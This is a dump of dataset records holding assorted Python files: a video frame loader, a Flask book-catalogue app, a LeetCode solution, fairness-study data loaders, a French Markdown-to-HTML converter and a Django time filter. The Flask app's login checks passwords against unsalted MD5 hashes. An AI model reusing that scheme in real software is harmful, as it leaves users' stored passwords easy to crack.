np.expand_dims(frame, axis=2)\n            #frame = cv2.resize(frame, (self.width, self.height), interpolation=cv2.INTER_AREA)\n            #frame = cv2.resize(frame, (self.width, self.height), interpolation=cv2.INTER_CUBIC)\n            #frame = cv2.resize(frame, (int(self.width * self.factor), int(self.height * self.factor)), interpolation=cv2.INTER_CUBIC)\n            frame = cv2.resize(frame, (self.width, self.height), interpolation=cv2.INTER_CUBIC)\n            framearray.append(frame)\n        cap.release()\n        return np.split(np.array(framearray), nframe // self.depth)\n\n    def loaddata(self, video_dir):\n        filenames = [os.path.join(video_dir, f) for f in os.listdir(video_dir)]\n        '''\n        for path, subdirs, files in os.walk(video_dir):\n            for name in files:\n                filenames.append(os.path.join(path, name))\n        '''\n        videos_train = []\n        videos_test = []\n\n        labels_train = []\n        labels_test = []\n        pbar = tqdm(total=len(filenames),)\n        for filename in filenames:\n            pbar.update(1)\n            print(filename)\n            label = self.get_ucf_classname(filename)\n            print(label)\n            try:\n                clips = self.read(filename)\n                fname = filename.split('/')[-1]\n                if fname in self.train_set:\n                    labels_train.extend([label]*len(clips))\n                    videos_train.extend(clips)\n                elif fname in self.test_set:\n                    labels_test.extend([label]*len(clips))\n                    videos_test.extend(clips)\n                else:\n                    print('{} not found in train/test split'.format(fname))\n                    continue\n            except cv2.error as e:\n                print(e)\n                print('{} is unable to read'.format(filename))\n                pass\n        pbar.close()\n        print(len(labels_train))\n        print(len(labels_test))\n        return (\n            np.asarray(videos_train, dtype='uint8'), np.asarray(labels_train),\n            np.asarray(videos_test, dtype='uint8'), np.asarray(labels_test),)\n","sub_path":"data-preparation/UCF-101/VideoReader.py","file_name":"VideoReader.py","file_ext":"py","file_size_in_byte":3978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"67323969","text":"\n\nfrom xai.brain.wordbase.nouns._forage import _FORAGE\n\n#calss header\nclass _FORAGED(_FORAGE, ):\n\tdef __init__(self,): \n\t\t_FORAGE.__init__(self)\n\t\tself.name = \"FORAGED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"forage\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_foraged.py","file_name":"_foraged.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"205619566","text":"import md5\nfrom flask import render_template, flash, redirect, url_for, g, session, \\\n    request\nfrom flask.ext.login import login_user, logout_user, current_user, \\\n    login_required\nfrom app import app, db, lm\nfrom forms import LoginForm, AuthorForm, BookForm\nfrom models import Author, Book, User\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n    books = Book.query.all()\n    return render_template('index.html', books=books)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if current_user is not None and current_user.is_authenticated():\n        return redirect(url_for('index'))\n    form = LoginForm()\n    if form.validate_on_submit():\n        u_name = form.login.data\n        passwd = form.password.data\n        user = User.query.filter_by(name=u_name).first()\n        if user is not None and user.passwd == md5.new(passwd).hexdigest():\n            flash('Aloha,' + form.login.data)\n            remember_me = form.remember_me.data\n            login_user(user, remember=remember_me)\n            return redirect(url_for('index'))\n        flash('Invalid login or password')\n    return render_template('login.html', form=form)\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n    logout_user()\n    flash('Hope to see you soon')\n    return redirect(url_for('index'))\n\n\n@app.route('/get_authors')\ndef get_authors():\n    authors = Author.query.all()\n    return render_template('get_authors.html', authors=authors)\n\n\n@app.route('/get_books')\ndef get_books():\n    books = Book.query.all()\n    return render_template('get_books.html', books=books)\n\n\n@app.route('/search', methods=['GET', 'POST'])\ndef search():\n    if request.method == 'POST':\n        data = request.form['keyword']\n        authors = Author.query.filter(Author.name.like('%'+data+'%')).all()\n        books = Book.query.filter(Book.title.like('%'+data+'%')).all()\n        if authors or books:\n            return render_template('search_results.html',\n                                   authors=authors, books=books)\n        else:\n            flash(\"Matches aren't found for '%s'\" % data)\n    return render_template('search.html')\n\n\n@lm.user_loader\ndef load_user(uid):\n    return User.query.get(int(uid))\n\n\n@app.route('/add_new_book', methods=['GET', 'POST'])\n@login_required\ndef add_new_book():\n    form = BookForm()\n    if form.validate_on_submit():\n        title = form.title.data\n        book = Book(title=title)\n        if form.authors.data != '':\n            authors = form.authors.data.split(',')\n            for element in authors:\n                author = Author.query.filter_by(name=element).first()\n                if author:\n                    author.books.append(book)\n                else:\n                    db.session.add(Author(name=element, books=[book]))\n        db.session.add(book)\n        db.session.commit()\n        flash(\"'%s' successfully added!\" % title)\n        return redirect(url_for('get_books'))\n    return render_template('add_new_book.html', form=form)\n\n\n@app.route('/add_new_author', methods=['GET', 'POST'])\n@login_required\ndef add_new_author():\n    form = AuthorForm()\n    if form.validate_on_submit():\n        name = form.name.data\n        if not Author.query.filter_by(name=name).first():\n            author = Author(name=name)\n            db.session.add(author)\n            db.session.commit()\n            flash(\"New author successfully added!\")\n            return redirect(url_for('get_authors'))\n        else:\n            flash(\"'%s' is already exist\" % name)\n    return render_template('add_new_author.html', form=form)\n\n\n@app.route('/book_info/<int:book_id>')\ndef book_info(book_id):\n    book = Book.query.get(book_id)\n    return render_template('book_info.html', book=book)\n\n\n@app.route('/author_info/<int:author_id>')\ndef author_info(author_id):\n    author = Author.query.get(author_id)\n    return render_template('author_info.html', author=author)\n\n\n@app.route('/edit_author/<int:author_id>', methods=['GET', 'POST'])\n@login_required\ndef edit_author(author_id):\n    author = Author.query.get(author_id)\n    form = AuthorForm()\n    if form.validate_on_submit():\n        name = form.name.data\n        author.name = name\n        db.session.commit()\n        flash('Author successfully changed!')\n        return redirect(url_for('author_info', author_id=author_id))\n    return render_template('edit_author.html',\n                           form=form, name=author.name)\n\n\n@app.route('/edit_book/<int:book_id>', methods=['GET', 'POST'])\n@login_required\ndef edit_book(book_id):\n    form = BookForm()\n    book = Book.query.get(book_id)\n    authors = [a.name for a in book.authors]\n    if form.validate_on_submit():\n        title = form.title.data\n        new_authors = form.authors.data.split(',')\n        for element in authors:\n            if element in new_authors:\n                new_authors.remove(element)\n            else:\n                author = Author.query.filter_by(name=element).first()\n                author.books.remove(book)\n        for element in new_authors:\n            db.session.add(Author(name=element, books=[book]))\n        book.name = title\n        db.session.commit()\n        flash('Book successfully changed!')\n        return redirect(url_for('book_info', book_id=book_id))\n    return render_template('edit_book.html',\n                           form=form, title=book.title,\n                           authors=(',').join(authors))\n\n\n@app.route('/delete_book/<int:book_id>')\n@login_required\ndef delete_book(book_id):\n    book = Book.query.get(book_id)\n    db.session.delete(book)\n    db.session.commit()\n    return redirect(url_for('get_books'))\n\n\n@app.route('/delete_author/<int:author_id>')\n@login_required\ndef delete_author(author_id):\n    author = Author.query.get(author_id)\n    db.session.delete(author)\n    db.session.commit()\n    return redirect(url_for('get_authors'))\n\n\n@app.context_processor\ndef is_logged_in():\n    if current_user is not None and current_user.is_authenticated():\n        return dict(logged_in=True)\n    return dict(logged_in=False)\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"445190349","text":"# -*- coding:utf-8 -*-\n\n# <SUBID:17612156,UPDATE:20220325>\n# English:\n# You're given strings jewels representing the types of stones that are jewels, and stones representing the stones you have. Each character in stones is a type of stone you have. You want to know how many of the stones you have are also jewels.\n# Letters are case sensitive, so \"a\" is considered a different type of stone from \"A\".\n# Example 1:\n# Input: jewels = \"aA\", stones = \"aAAbbbb\" Output: 3\n# Example 2:\n# Input: jewels = \"z\", stones = \"ZZ\" Output: 0\n# Constraints:\n# 1 <= jewels.length, stones.length <= 50\n# jewels and stones consist of only English letters.\n# All the characters of jewels are unique.\n#\n# 中文:\n# 给你一个字符串 jewels 代表石头中宝石的��型，另有一个字符串 stones 代表你拥有的石头。 stones 中每个字符代表了一种你拥有的石头的类型，你想知道你拥有的石头中有多少是宝石。\n# 字母区分大小写，因此 \"a\" 和 \"A\" 是不同类型的石头。\n# 示例 1：\n# 输入：jewels = \"aA\", stones = \"aAAbbbb\" 输出：3\n# 示例 2：\n# 输入：jewels = \"z\", stones = \"ZZ\" 输出：0\n# 提示：\n# 1 <= jewels.length, stones.length <= 50\n# jewels 和 stones 仅由英文字母组成\n# jewels 中的所有字符都是 唯一的\n\n\n#\n# @lc app=leetcode.cn id=771 lang=python\n#\n# [771] Jewels and Stones\n#\n# https://leetcode-cn.com/problems/jewels-and-stones/description/\n#\n# algorithms\n# Easy (78.87%)\n# Total Accepted:    33K\n# Total Submissions: 41.6K\n# Testcase Example:  '\"aA\"\\n\"aAAbbbb\"'\n#\n#  给定字符串J 代表石头中宝石的类型，和字符串 S代表你拥有的石头。 S 中每个字符代表了一种你拥有的石头的类型，你想知道你拥有的石头中有多少是宝石。\n#\n# J 中的字母不重复，J 和 S中的所有字符都是字母。字母区分大小写，因此\"a\"和\"A\"是不同类型的石头。\n#\n# 示例 1:\n#\n# 输入: J = \"aA\", S = \"aAAbbbb\"\n# 输出: 3\n#\n#\n# 示例 2:\n#\n# 输入: J = \"z\", S = \"ZZ\"\n# 输出: 0\n#\n#\n# 注意:\n#\n#\n# S 和 J 最多含有50个字母。\n# J 中的字符不重复。\n#\n#\n#\nclass Solution(object):\n    def numJewelsInStones(self, J, S):\n        \"\"\"\n        :type J: str\n        :type S: str\n        :rtype: int\n        \"\"\"\n        set_j = set(J)\n        ret = 0\n        for i in S:\n            if i in set_j:\n                ret += 1\n        return ret\n\n\n","sub_path":"questions/782-jewels-and-stones/jewels-and-stones.py","file_name":"jewels-and-stones.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"439378536","text":"import pandas as pd\nimport utils\nimport numpy as np\n\nparent_path = \"C:/Users/daphn/PycharmProjects/kNN Situation Testing/\"\n\ndef load_data(location, train_test_or_val):\n    data = pd.read_excel(\n        parent_path + location + \"/\" + train_test_or_val + \"/data.xlsx\")\n    standardized_data = pd.read_excel(\n        parent_path + location + \"/\"+train_test_or_val+\"/standardized_data.xlsx\")\n    class_label = pd.read_excel(\n        parent_path + location + \"/\"+train_test_or_val+\"/class_label.xlsx\")\n    protected_info = pd.read_excel(\n        parent_path + location + \"/\"+train_test_or_val+\"/protected_attribute.xlsx\")\n\n\n    data = data.drop('Unnamed: 0', axis='columns')\n    class_label = class_label.drop('Unnamed: 0', axis='columns')[0]\n    standardized_data = standardized_data.drop('Unnamed: 0', axis='columns')\n    protected_info = np.array(protected_info.drop('Unnamed: 0', axis='columns'))\n\n    if (location == \"adult_without_groundtruth\" or location==\"adult_without_groundtruth_squared_dist\"):\n        return {'data': data, 'standardized_data': standardized_data, 'protected_info': protected_info,\n                'class_label': class_label}\n\n    discriminated_instances = pd.read_excel(\n        parent_path + location + \"/\"+train_test_or_val+\"/discriminated_instances.xlsx\")\n    disc_free_class_labels = pd.read_excel(\n        parent_path + location + \"/\"+train_test_or_val+\"/disc_free_labels.xlsx\")\n    protected_indices = list(np.where(protected_info == 1)[0])\n\n    disc_free_class_labels = disc_free_class_labels.drop('Unnamed: 0', axis='columns')[0]\n    discriminated_instances = discriminated_instances.drop('Unnamed: 0', axis='columns')[0]\n    ground_truth_all_labels = utils.discriminated_instances_to_label_array(protected_indices,\n                                                                            discriminated_instances)\n\n    return {'data': data, 'standardized_data': standardized_data, 'protected_info': protected_info,\n            'class_label': class_label, 'discriminated_instances': list(discriminated_instances),\n            'ground_truth': ground_truth_all_labels, 'disc_free_labels': disc_free_class_labels}\n\n\ndef load_optimization_info(location, lambda_l1_norm_euclidean, lambda_l1_norm_mahalanobis):\n    weights_euclidean = pd.read_excel(\n        parent_path + location + \"/lambda = \" + format(lambda_l1_norm_euclidean, \".3f\") + \"/euclidean_weights.xlsx\")\n    mahalanobis_matrix = pd.read_excel(\n        parent_path + location + \"/lambda = \" + format(lambda_l1_norm_mahalanobis, \".3f\") + \"/mahalanobis_matrix.xlsx\")\n\n    weights_euclidean = weights_euclidean.drop('Unnamed: 0', axis='columns')[0]\n    mahalanobis_matrix = mahalanobis_matrix.drop('Unnamed: 0', axis='columns').to_numpy()\n    return {'weights_euclidean': weights_euclidean, 'mahalanobis_matrix': mahalanobis_matrix}\n\n\ndef load_discrimination_free_class_labels(location, train_test_or_val):\n    path = parent_path + location + \"/\" + train_test_or_val + \"/clean_labels\"\n\n    baseline = pd.read_excel(path+ \"/baseline.xlsx\")\n    luong = pd.read_excel(path+ \"/luong.xlsx\")\n    zhang = pd.read_excel(path+ \"/zhang.xlsx\")\n    weighted_euclidean = pd.read_excel(path+ \"/weighted_euclidean.xlsx\")\n    mahalanobis = pd.read_excel(path+ \"/mahalanobis.xlsx\")\n\n    baseline = baseline.drop('Unnamed: 0', axis='columns')[0]\n    luong = luong.drop('Unnamed: 0', axis='columns')[0]\n    zhang = zhang.drop('Unnamed: 0', axis='columns')[0]\n    weighted_euclidean = weighted_euclidean.drop('Unnamed: 0', axis='columns')[0]\n    mahalanobis = mahalanobis.drop('Unnamed: 0', axis='columns')[0]\n\n    return {'baseline': baseline, 'luong': luong, 'zhang': zhang, 'weighted_euclidean': weighted_euclidean, 'mahalanobis': mahalanobis}\n\n\n\ndef split_discriminated_indices(test_indices, remainder_instances, discriminated_indices):\n    test_discriminated_indices = []\n    remainder_discriminated_indices = []\n\n    index_counter = 0\n    for test_index in test_indices:\n        if test_index in discriminated_indices:\n            test_discriminated_indices.append(index_counter)\n        index_counter +=1\n\n    index_counter = 0\n    for index in remainder_instances:\n        if index in discriminated_indices:\n            remainder_discriminated_indices.append(index_counter)\n        index_counter +=1\n\n    return remainder_discriminated_indices, test_discriminated_indices\n\n\ndef split_test_sets(n_splits, location):\n    np.random.seed(6)\n    all_test_sets_info = []\n    loaded_test_set = load_data(location, \"test\")\n\n    complete_non_standardized_data = loaded_test_set['data']\n    complete_standardized_data = loaded_test_set['standardized_data'].to_numpy()\n    complete_protected_info = loaded_test_set['protected_info'].flatten()\n    complete_class_labels = loaded_test_set['class_label']\n    complete_discrimination_free_labels = loaded_test_set['disc_free_labels']\n\n    complete_discriminated_labels = loaded_test_set['discriminated_instances']\n\n    n_samples_per_split = (complete_non_standardized_data.shape[0])/n_splits\n\n    remainder_standardized_data = complete_standardized_data.copy()\n    remainder_non_standardized_data = complete_non_standardized_data.copy()\n    remainder_protected_info = complete_protected_info.copy()\n    remainder_class_labels = complete_class_labels.copy()\n    remainder_discriminated_indices = complete_discriminated_labels.copy()\n    remainder_disc_free_labels = complete_discrimination_free_labels.copy()\n\n    for i in range(n_splits):\n        split_non_standardized_data = remainder_non_standardized_data.sample(n=int(n_samples_per_split))\n        split_indices = split_non_standardized_data.index\n        split_standardized_data = remainder_standardized_data[split_indices]\n        split_protected_info = remainder_protected_info[split_indices]\n        split_class_labels = remainder_class_labels[split_indices]\n        split_disc_free_class_labels = remainder_disc_free_labels[split_indices]\n\n        remainder_non_standardized_data = remainder_non_standardized_data.drop(split_indices)\n        remainder_standardized_data = np.delete(remainder_standardized_data, split_indices, axis=0)\n        remainder_protected_info = np.delete(remainder_protected_info, split_indices)\n        remainder_class_labels = remainder_class_labels.drop(split_indices)\n        remainder_disc_free_labels = remainder_disc_free_labels.drop(split_indices)\n\n        remainder_indices = remainder_non_standardized_data.index\n\n        remainder_discriminated_indices, split_discriminated= split_discriminated_indices(\n            split_indices, remainder_indices, remainder_discriminated_indices)\n\n        split_protected_indices = list(np.where(split_protected_info == 1)[0])\n        split_ground_truth = utils.discriminated_instances_to_label_array(split_protected_indices,\n                                                                           split_discriminated)\n        remainder_non_standardized_data.reset_index(drop=True, inplace=True)\n        split_non_standardized_data.reset_index(drop=True, inplace=True)\n        remainder_class_labels.reset_index(drop=True, inplace=True)\n        split_class_labels.reset_index(drop=True, inplace=True)\n        split_disc_free_class_labels.reset_index(drop=True, inplace=True)\n        remainder_disc_free_labels.reset_index(drop=True, inplace=True)\n\n        test_info = {'data': split_non_standardized_data,'standardized_data': pd.DataFrame(split_standardized_data), 'protected_info': split_protected_info,\n        'class_label': split_class_labels, 'discriminated_indices': split_discriminated, 'ground_truth': split_ground_truth, 'disc_free_labels': split_disc_free_class_labels}\n        all_test_sets_info.append(test_info)\n\n    return all_test_sets_info\n\n\n\ndef split_test_sets_no_groundtruth(n_splits, location):\n    np.random.seed(6)\n    all_test_sets_info = []\n    loaded_test_set = load_data(location, \"test\")\n\n    complete_non_standardized_data = loaded_test_set['data']\n    complete_standardized_data = loaded_test_set['standardized_data'].to_numpy()\n    complete_protected_info = loaded_test_set['protected_info'].flatten()\n    complete_class_labels = loaded_test_set['class_label']\n\n    n_samples_per_split = (complete_non_standardized_data.shape[0])/n_splits\n\n    remainder_standardized_data = complete_standardized_data.copy()\n    remainder_non_standardized_data = complete_non_standardized_data.copy()\n    remainder_protected_info = complete_protected_info.copy()\n    remainder_class_labels = complete_class_labels.copy()\n\n    for i in range(n_splits):\n        split_non_standardized_data = remainder_non_standardized_data.sample(n=int(n_samples_per_split))\n        split_indices = split_non_standardized_data.index\n        split_standardized_data = remainder_standardized_data[split_indices]\n        split_protected_info = remainder_protected_info[split_indices]\n        split_class_labels = remainder_class_labels[split_indices]\n\n        remainder_non_standardized_data = remainder_non_standardized_data.drop(split_indices)\n        remainder_standardized_data = np.delete(remainder_standardized_data, split_indices, axis=0)\n        remainder_protected_info = np.delete(remainder_protected_info, split_indices)\n        remainder_class_labels = remainder_class_labels.drop(split_indices)\n\n        remainder_indices = remainder_non_standardized_data.index\n\n        split_protected_indices = list(np.where(split_protected_info == 1)[0])\n\n        remainder_non_standardized_data.reset_index(drop=True, inplace=True)\n        split_non_standardized_data.reset_index(drop=True, inplace=True)\n        remainder_class_labels.reset_index(drop=True, inplace=True)\n        split_class_labels.reset_index(drop=True, inplace=True)\n\n        test_info = {'data': split_non_standardized_data,'standardized_data': pd.DataFrame(split_standardized_data), 'protected_info': split_protected_info,\n        'class_label': split_class_labels}\n        all_test_sets_info.append(test_info)\n\n    return all_test_sets_info","sub_path":"load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":9949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"553973182","text":"\nimport os\n\n#GLOBAL VARS\n\nconvertDone = False\nprefix = \"M2H>>\"\ncommands = [\"-h\", \"--help\", \"-i\", \"--input-directory\", \"-o\", \"--output-directory\", \"-q\", \"--quitter\"]\ncommand = \"\"\n\n#dessins de départ + conseil --help\ndef init() :\n\n    print(\"                                                             ,----,                 ,--, \")\n    print(\"          ____                                   ,--,      ,/   .`|        ____  ,---.'|    \")\n    print(\"        ,'  , `.    ,---,        ,----,        ,--.'|    ,`   .'  :      ,'  , `.|   | :  \")\n    print(\"     ,-+-,.' _ |  .'  .' `\\    .'   .' \\    ,--,  | :  ;    ;     /   ,-+-,.' _ |:   : |    \")\n    print(\"  ,-+-. ;   , ||,---.'     \\ ,----,'    |,---.'|  : '.'___,/    ,' ,-+-. ;   , |||   ' :    \")\n    print(\" ,--.'|'   |  ;||   |  .`\\  ||    :  .  ;|   | : _' ||    :     | ,--.'|'   |  ;|;   ; '    \")\n    print(\"|   |  ,', |  '::   : |  '  |;    |.'  / :   : |.'  |;    |.';  ;|   |  ,', |  ':'   | |__  \")\n    print(\"|   | /  | |  |||   ' '  ;  :`----'/  ;  |   ' '  ; :`----'  |  ||   | /  | |  |||   | :.'| \")\n    print(\"'   | :  | :  |,'   | ;  .  |  /  ;  /   '   |  .'. |    '   :  ;'   | :  | :  |,'   :    ; \")\n    print(\";   . |  ; |--' |   | :  |  ' ;  /  /-,  |   | :  | '    |   |  ';   . |  ; |--' |   |  ./  \")\n    print(\"|   : |  | ,    '   : | /  ; /  /  /.`|  '   : |  : ;    '   :  ||   : |  | ,    ;   : ;    \")\n    print(\"|   : '  |/     |   | '` ,/./__;      :  |   | '  ,/     ;   |.' |   : '  |/     |   ,/  \")\n    print(\";   | |`-'      ;   :  .'  |   :    .'   ;   : ;--'      '---'   ;   | |`-'      '---'      \")\n    print(\"|   ;/          |   ,.'    ;   | .'      |   ,/                  |   ;/                     \")\n    print(\"'---'           '---'      `---'         '---'                   '---'                      \")\n    print(\"\")\n\n    print(\"Bienvenue sur le convertisseur de fichier Markdown vers fichier HTML !\")\n    print(\"pour plus de renseignements sur comment utiliser les commandes de ce \\n convertisseur utilisez \\\"mth -h\\\" ou \\\"--help\\\"\")\n\n    print(\"\")\n\n#vérifie si la string entrée correspond à une commande\ndef validCommand(str) :\n\n    args = []\n    arg = \"\"\n    quote = False\n\n    for lettre in str :\n\n        if lettre == \"\\\"\":\n            if quote :\n                quote = False\n                args.append(arg)\n                arg = \"\"\n            else :\n                quote = True\n        elif lettre == \" \" and not quote:\n            args.append(arg)\n            arg = \"\"\n        else :\n            arg = arg + lettre\n\n    if arg != \"\":\n        args.append(arg)\n\n    testArgs = True\n    i = 0\n\n    if len(args) == 1 and args[0] != \"mth\" :\n        return 1\n    else :\n\n        #si tout va bien alors vérification des arguments\n\n        if args[1] == commands[0] or args[1] == commands[1]:\n\n            return \"help\"\n\n        elif args[1] == commands[6] or args[1] == commands[7] :\n\n            return \"quitter\"\n\n        elif args[1] == commands[2] or args[1] == commands[3]:\n\n            if len(args) == 3:\n                return \"convertSameDirectory\"\n            else :\n                print(\"il manque le chemin d'input\")\n\n        elif len(args) == 5 and ((args[1] == commands[2] or args[1] == commands[3]) and (args[2] != \"\" or args[2] != None) or (args[3] == commands[4] or args[3] == commands[5])):\n\n            return \"convertToDirectory\"\n\n        else :\n            #sinon erreur dans la commande entrée\n            return 2\n\n#Montre tableau explication des arguments\ndef showHelp() :\n\n    print(\"----------HELP----------\")\n    print(\"Command usage : mth [-h | --help] [-q | --quitter] [-i | input-directory] \\\"Path\\\" [-o | --output-directory] \\\"Path\\\"\")\n    print(\"\")\n    print(\"* : argument obligatoire\")\n    print(\"\")\n    print(\"-i | --input-directory  *: Spécifie le chemin du fichier a convertir (si cet argument \\n                           est seul, le fichier final sera dans le même dossier \\n                           que le fichier Markdown, et aura le même nom)\")\n    print(\"-o | --output-directory  : Spécifie le chemin de dépot du fichier convertit (les noms \\n                           de fichiers avec espaces ne sont pas acceptés)\")\n    print(\"\")\n    print(\"-q | --quitter           : quitte le convertisseur\")\n\n#Fonction de convertion type MD vers HTML\ndef md_to_html(file, htmlTable):\n\n    htmlFileLines = htmlTable\n    ulOpen = False\n    breakLine = False\n\n    lines = file.read().splitlines()\n\n    for line in lines:\n\n        line = line.encode(\"latin1\").decode(\"utf-8\")\n\n        if breakLine :\n            breakLine = False\n            htmlFileLines.append(\"<br>\")\n\n        line = line.replace(\"**\", \"<b>\")\n\n        if line.startswith(\"# \"):\n            htmlFileLines.append(\"<h1>\" + line[2:] + \"</h1>\")\n\n        elif line.startswith(\"## \"):\n            htmlFileLines.append(\"<h2>\" + line[3:] + \"</h2>\")\n\n        elif line.startswith(\"### \"):\n            htmlFileLines.append(\"<h3>\" + line[4:] + \"</h3>\")\n\n        elif line.startswith(\"http://\") or line.startswith(\"https://\"):\n            htmlFileLines.append(\"<a href=\\\"\" + line + \"\\\">\" + line + \"</a>\")\n            breakLine = True\n\n        elif line.startswith(\"- \"):\n\n            if not ulOpen:\n                htmlFileLines.append(\"<ul>\")\n                ulOpen = True\n\n            htmlFileLines.append(\"<li>\" + line[2:] + \"</li>\")\n\n        elif not line.startswith(\"- \") and (line != \"\" or line != None) and ulOpen:\n            htmlFileLines.append(\"</ul>\")\n            ulOpen = False\n\n        else :\n            htmlFileLines.append(line)\n\n\n#vérifie si le chmin entré en variable d'argument est valide\ndef checkPath(path, type):\n    if type == \"input\":\n        try:\n            with open(path) as file:\n                return 1\n        except IOError:\n            return 0\n\n    if type == \"output\" :\n        if os.path.isdir(path) :\n            return 1\n        else :\n            return 0\n\n#si les deux arguments sont présents (-o, -i)\ndef convertToDirectory(inputPath, outputPath) :\n\n    htmlLines = []\n\n    if checkPath(inputPath, \"input\"):\n\n        if checkPath(outputPath, \"output\") :\n\n            file = open(inputPath, \"r\")\n            fileNameExt = file.name\n            fileName = fileNameExt[:-3]\n            fileExt = fileNameExt[-3:]\n\n            if fileExt == \".md\" :\n\n                print(outputPath + \"/\" + fileName+ \".html\")\n\n                print(\"début de la convertion du fichier...\")\n\n                md_to_html(file, htmlLines)\n\n                if os.path.isfile(outputPath + \"/\" + fileName+ \".html\") :\n\n                    overWriteCase = False\n\n                    while not overWriteCase:\n\n                        overWrite = input(\"le fichier existe déjà, voulez-vous le replacer ? (yes/no)\")\n\n                        if overWrite == \"yes\":\n\n                            os.remove(outputPath + \"/\" + fileName+ \".html\")\n\n                            htmlFile = open(outputPath + \"/\" + fileName+ \".html\", \"a\")\n\n                            for line in htmlLines:\n                                htmlFile.write(line)\n\n                            htmlFile.close()\n                            print(\"Convertion terminée\")\n\n                            overWriteCase = True\n\n                        elif overWrite == \"no\":\n\n                            print(\"Convertion annulée\")\n                            overWriteCase = True\n\n                        else:\n\n                            print(\"je n'ai pas compris votre choix\")\n\n                else :\n\n                    htmlFile = open(outputPath + \"/\" + fileName + \".html\", \"a\")\n\n                    for line in htmlLines:\n                        htmlFile.write(line)\n                    print(\"convertion terminé\")\n\n            else :\n                print(\"Le fichier donné n'est pas un markdown\")\n\n        else :\n            print(\"Le chemin d'output est incorrect\")\n\n    else :\n\n        print(\"Le chemin d'input est incorrect\")\n\n#si seulement l'argument input(-i)\ndef convertSameDirectory(inputPath) :\n\n    htmlLines = []\n\n    if checkPath(inputPath, \"input\"):\n\n        file = open(inputPath, \"r\")\n        fileNameExt = file.name\n        fileName = fileNameExt[:-3]\n        fileExt = fileNameExt[-3:]\n\n        if fileExt == \".md\" :\n\n            print(\"convertion du fichier en cours dans le même fichier\")\n\n            #presets func\n\n            md_to_html(file, htmlLines)\n\n            #début de l'écriture du fichier html\n\n            if os.path.isfile(inputPath[:-3]+\".html\"):\n\n                overWriteCase = False\n\n                while not overWriteCase:\n\n                    overWrite = input(\"le fichier existe déjà, voulez-vous le replacer ? (yes/no)\")\n\n                    if overWrite == \"yes\" :\n\n                        os.remove(inputPath[:-3]+\".html\")\n\n                        htmlFile = open(inputPath[:-3] + \".html\", \"a\")\n\n                        for line in htmlLines:\n                            htmlFile.write(line)\n\n                        htmlFile.close()\n                        print(\"Convertion terminée\")\n\n                        overWriteCase = True\n\n                    elif overWrite == \"no\" :\n\n                        print(\"Convertion annulée\")\n                        overWriteCase = True\n\n                    else :\n\n                        print(\"je n'ai pas compris votre choix\")\n\n        else :\n            print(\"Le fichier donné n'est pas un markdown\")\n\n    else :\n\n        print(\"Le chemin est incorrect\")\n\ninit()\n\nwhile convertDone != True:\n\n    command = input(prefix)\n    args = command.split(\" \")\n\n    valid = validCommand(command)\n\n    if valid == 1:\n\n        print(\"Vous devez commencer par m'appeler poliment ! \\n\"\n              \"Commencez par \\\"mth\\\"\")\n\n    elif valid == 2:\n\n        print(\"Un argument est manquant, mal marqué ou même en trop si ça se trouve...\")\n\n    else:\n\n        if valid == \"help\":\n\n            showHelp()\n\n        elif valid == \"quitter\" :\n\n            quitter = \"\"\n            quitter_case = False\n\n            while not quitter_case:\n\n                quitter = input(\"voulez-vous vraiment quitter le convertisseur ?(yes/no)\")\n\n                if quitter == \"yes\" :\n                    quitter_case = True\n                    convertDone = True\n\n                elif quitter == \"no\" :\n                    quitter_case = True\n                    continue\n\n                else :\n\n                    print(\"je n'ai pas compris votre choix\")\n\n\n        elif valid == \"convertToDirectory\":\n\n            convertToDirectory(args[2], args[4])\n\n        elif valid == \"convertSameDirectory\":\n\n            convertSameDirectory(args[2])","sub_path":"MD2HTML.py","file_name":"MD2HTML.py","file_ext":"py","file_size_in_byte":10610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"579163350","text":"from django.template.defaulttags import register\nimport time\n\n@register.filter(name='human_time')\ndef human_time(value):\n\ttry:\n\t\tdiff = time.time() - float(value)\n\texcept (ValueError,TypeError):\n\t\treturn ''\n\tm, s = divmod(diff, 60)\n\th, m = divmod(m, 60)\n\td, h = divmod(h, 24)\n\tmo, d = divmod(d, 30)\n\tif mo:\n\t\tif int(mo) == 1:\n\t\t\treturn \"1 month ago\"\n\t\telse:\n\t\t\treturn \"%s months ago\" % int(mo)\n\telif d:\n\t\tif int(d) == 1:\n\t\t\treturn \"1 day ago\"\n\t\telse:\n\t\t\treturn \"%s days ago\" % int(d)\n\telif h:\n\t\tif int(h) == 1:\n\t\t\treturn \"1 hour ago\"\n\t\telse:\n\t\t\treturn \"%s hours ago\" % int(h)\n\telif m:\n\t\tif int(m) == 1:\n\t\t\treturn \"1 min ago\"\n\t\telse:\n\t\t\treturn \"%s mins ago\" % int(m)\n\telif s:\n\t\tif int(s) == 0:\n\t\t\treturn \"abhi\"\n\t\telif int(s) == 1:\n\t\t\treturn \"1 sec ago\"\n\t\telse:\n\t\t\treturn \"%s secs ago\" % int(s)\n\telse:\n\t\treturn ''","sub_path":"links/templatetags/human_time.py","file_name":"human_time.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
